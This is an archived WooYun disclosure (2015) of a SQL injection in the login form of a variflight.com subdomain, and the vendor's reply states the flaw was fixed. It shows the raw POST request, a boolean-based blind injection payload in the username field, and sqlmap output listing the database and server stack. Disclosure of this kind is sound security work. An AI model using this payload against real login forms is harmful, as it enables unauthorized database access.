当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0124419

漏洞标题:飞常准某分站存在SQL注入

相关厂商:variflight.com

漏洞作者: 天地不仁 以万物为刍狗

提交时间:2015-07-04 19:19

修复时间:2015-07-06 10:15

公开时间:2015-07-06 10:15

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经修复

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-07-04: 细节已通知厂商并且等待厂商处理中
2015-07-06: 厂商已经确认,细节仅向厂商公开
2015-07-06: 厂商已经修复漏洞并主动公开,细节向公众公开

简要描述:

RT

详细说明:

POST数据包:

POST /user.php?act=login HTTP/1.1
Content-Length: 99
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Referer: http://int.variflight.com:80/
Cookie: PHPSESSID=670na26agbeqcg3v2ifkv8cdq0
Host: int.variflight.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21
Accept: */*
passwd=admin&username=admin


username 处可注入

0.png


1.png

漏洞证明:

sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Parameter: username (POST)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment)
Payload: passwd=admin&username=-6486' OR 4193=4193#
---
[23:41:36] [INFO] the back-end DBMS is MySQL
web server operating system: Linux CentOS 6.5
web application technology: PHP 5.5.18, Apache 2.2.15
back-end DBMS: MySQL 5
[23:41:36] [INFO] fetching database names
[23:41:36] [INFO] fetching number of databases
[23:41:36] [WARNING] running in a single-thread mode. Please consider usage of o
ption '--threads' for faster data retrieval
[23:41:36] [INFO] retrieved:
[23:41:37] [WARNING] in case of continuous data retrieval problems you are advis
ed to try a switch '--no-cast' or switch '--hex'
[23:41:37] [ERROR] unable to retrieve the number of databases
[23:41:37] [INFO] falling back to current database
[23:41:37] [INFO] fetching current database
[23:41:37] [INFO] resumed: databusi
available databases [1]:
[*] databusi
[23:41:37] [INFO] fetched data logged to text files under 'C:\Users\Administrato
r\.sqlmap\output\int.variflight.com'

修复方案:

版权声明:转载请注明来源 天地不仁 以万物为刍狗@乌云


漏洞回应

厂商回应:

危害等级:低

漏洞Rank:2

确认时间:2015-07-06 10:11

厂商回复:

测试代码没有及时关闭,造成此次注入,被注入的库中并无重要信息

最新状态:

2015-07-06:已经将测试代码下线